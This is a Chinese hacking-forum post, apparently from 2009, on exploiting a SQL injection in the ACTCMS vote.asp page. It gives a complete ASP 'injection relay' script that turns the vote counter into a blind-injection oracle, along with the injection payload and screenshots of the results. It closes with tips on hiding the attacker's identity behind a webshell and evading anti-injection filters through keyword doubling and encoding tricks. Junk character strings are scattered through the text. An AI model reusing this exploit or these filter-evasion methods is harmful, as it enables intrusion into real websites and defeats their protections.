注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
. T! ^5 h8 Z( q6 s关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
! I1 ]: }1 Q/ R, E4 m漏洞文件：
" x' M, J3 f4 F! r+ u9 S/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
7 Q/ a& m0 i5 r9 `8 ^" A
1 Q' K" ?0 h9 Q/ M2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

7 Y/ A0 m$ F  h; ^) ^3    response.end   

; b6 Z* z+ q# d, a& {$ j/ L: a& `4    end if   
+ G5 ~+ o; C1 @; d( j
5    for i=1 to request("voted").count   
; ]: ^! X/ q  `9 x
* u/ V2 g6 B& p! @6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

8....   

9response.Redirect "index.asp?id="&id&""   
% H. B+ O5 E9 z% v投票结束回跳转回index.asp这个投票结果页面
5 f% d5 l: t4 W, n4 }" J! y. n: x如果投票成功票数加1
            失败票数不变
# m, Q- n+ T: x如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20

9 a0 `) I0 p; ~; F2 h* h0 M2 V3 n+ h利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
/ P( c5 D: d- ^0 m我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
$ q% F8 [% ^: x, q注入地址：http://localhost/actcms/plus/vote/vote.asp
- i: d/ V! _6 r* N# R注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
# W( J& ^" U* n9 e
' i% p% }+ q7 S! v然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
( _8 R, f( ]+ z+ E* Z
02JmdcwName=request("jmdcw")
6 h3 V. ]2 V( x7 W  l9 r
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName
6 a  S4 x% Y) d) G& B- E6 L
05JmStr=URLEncoding(JmStr)
5 T/ }: W2 {( A9 Z9 w# C+ g7 u0 ]7 g2 ]
* h& }1 H  e. w06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

  ~* r; n& N* g" N07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

& N2 x( ]. l5 C1 d  p' q, `5 n09JMUrl=JMUrl & "?" & JmStr

* e7 O# t* _6 B6 [, d) ?10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 J; c9 \2 g2 ~
4 Y1 b! ^' p; q: j6 _: ?11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  

, ~6 l; U8 L8 X; y4 e/ g9 t15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

16  
3 n% R9 J  V: b1 z0 n: R
" u- t4 m, \4 Z0 T( d2 f# s, e17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

- I2 C+ x7 h$ A/ I7 k18response.write test1&""&test2&""

  _5 [; W0 R2 c4 K, b19  

20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"

22else

23  response.write "succeed"
8 y% o8 E2 Y% R' ~0 i
  t& O9 J4 N: Y7 W24end if  
" \4 M2 V" A6 g  U* a
7 z" D1 {. ~- ?: k  N25  
. p9 ]& f) n3 Z/ A6 |
! j9 M  T' }) F5 `. n% [! u5 `26response.write "by 3x"
4 D+ Q0 W4 ]% V# [
27  

28  

8 \. |! h9 W3 o8 O0 S$ f29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
) b' Y4 e& D* J
+ k) V4 P: Q6 U  r6 Q+ _* Z30Dim Http
9 \1 k5 a& t% U/ m$ G6 V7 Q- o# `8 V7 X
5 y0 u' i4 N5 t7 `31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

- n3 z% W- X7 Y& X7 I) U32With Http

" D& z7 Z$ C( }; M* P. D33  
; H8 `6 Q! M: C6 ^2 @) L: F& f
) ?1 p9 z, T. Z* O( _% }3 m- c34.Open "GET",PostUrl,False
( ^( l. r" c. U  X+ W
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
8 I. S: j& v- D) t
* B4 T" n( @  c$ D7 {% s$ J36.SetRequestHeader "Referer",PostRef
. }1 n  F) Z! |7 ]% P# N: H
37.SetRequestHeader "Cookie",PostCok
& |0 t- L, A5 A1 u6 r' H
38.Send ()
3 L: n* c' H* ^. s: x9 Q
% Q* s" s: P1 L# D" A. a0 Y" x39PostData = .ResponseBody

40End With

41Set Http = Nothing

. {6 v! c0 y2 ]4 }1 I42PostData =bytes2BSTR(PostData)
# h4 P! V% y$ S8 [4 ^2 R; W  U; o+ n
43End Function

44  

45  

" i6 m; l# z3 n, d46Function bytes2BSTR(vIn)
* Y& h- ?7 f6 T9 ~" n8 U" h2 W
  O6 ^, Q- X/ b; V47Dim strReturn
/ K# N  }; r7 ?! I- m
48Dim I, ThisCharCode, NextCharCode
* _, f& |& |$ s/ u# P' P
  t! ^4 r) I) [8 J* P: Y49strReturn = ""
$ G+ S; a& E/ |2 n- N1 r2 a; |
; P6 a5 C' w- ]; S50For I = 1 To LenB(vIn)
0 F3 k4 }( s' C; D: G
51ThisCharCode = AscB(MidB(vIn, I, 1))
- \' N7 o! }5 U8 u4 C
52If ThisCharCode < &H80 Then

) _- Y/ x. {1 Y5 F( v" f. ~53strReturn = strReturn & Chr(ThisCharCode)
7 r/ [- n( d0 x4 a; N- o
54Else
$ Q6 K# e: x2 M, Q! I9 p
55NextCharCode = AscB(MidB(vIn, I + 1, 1))

; d+ _4 k6 n" y0 b* x* F56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
7 M) I' d: u: p7 G2 Z8 b
4 J, X1 \& \+ o' B57I = I + 1

% j- P$ L. |1 R* K. T58End If

59Next

60bytes2BSTR = strReturn
5 e" a- H, X- Y  }$ b
  a5 f  H* X* a' L5 ~61End Function

62  
( ]2 o( O6 H8 P6 t" y1 I9 B
63Function URLEncoding(vstrin)  
: v8 F8 ]' M) p2 }- y) e& Y
" t' L5 ^) P/ y; T64strReturn=""
4 d, V* u  g! h; M2 f; ^1 g
65Dim i

' {  F; k1 E# ^9 B! K! _7 X! s, w66For i=1 To Len(vstrin)
/ c5 u$ _) o/ R+ C- V) H" l  B
67ThisChr=Mid(vstrin,i,1)
( }2 t0 n4 r+ {5 B' N
68if Abs(Asc(ThisChr))< &HFF Then
$ ]; j2 Q+ d! ^$ D
& x, I  s. g$ {' A) ^69strReturn=strReturn & ThisChr

70Else

5 }- ?# C9 {9 l! W( Q71InnerCode=Asc(ThisChr)

6 L1 i6 h% N% }2 ~72If InnerCode<0 Then

0 ]  \9 Q+ H/ \& X' @; V- G73InnerCode=InnerCode + &H10000

74End If
2 W3 H. V8 z7 |. R  y: V
75Hight1=(InnerCode And &HFF00) \&HFF

# m* `6 E# F+ }; M  P- w76Low1=InnerCode And &HFF
" u' {# |5 p' B- X, |
8 Z' Z9 O2 w, f" Y" I3 j; c" v8 l* e( }77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if
: m; l- k9 `, a4 ^3 Q! L* X, F
79Next
7 n- J3 L7 b; X; m9 d: g2 p
; A- j( s  b0 ~' b80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
% X0 b  ^6 P" m3 \( Y4 |
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
  l5 q* P5 @# q$ N( G
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn
  @7 X# Z/ r6 x+ r( E) ]% c, ?
  u0 q* N; I' T. ?: E9 x/ B84End Function

85  
: c1 f5 r0 L4 }
! X$ P+ I# M6 ?4 x7 v86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")
6 B0 k: S8 o9 v, B; P
1 B8 `& z! O% N# s$ `0 l88  endpot=instr(startpot,body," ")

$ O: ^7 t& r' x$ X0 ^89  getSt=mid(body,startpot,endpot-startpot)

: `7 u4 w1 Z3 S" G* H90end function

91%>
  Z1 w- \/ r2 j& F3 _注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
2 D7 f0 d( y. F7 R1 a( f0 ~: a" w& @测试下效果：
投票成功：
4 L6 W/ u0 w( [8 `% n1 k. ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

* f6 R* R1 U8 u" K3 i# m, E2009-12-27 13:29
-------------------------------------------------------------------------------
, N6 h$ d- g: L+ c3 S- z( ^再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
  j4 {4 O' ^3 S3 V: k- l4 s# @所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
, c! ]2 @6 Z7 f. K/ f* j  Z
注入中转的一些其他应用
5 M0 _  m5 l3 l6 u; @其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
. r; a3 G# B: b7 z# C! w. N  c2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
$ x2 H( ]$ d" \2 a) E
" _2 `6 R, v7 s, \  J% s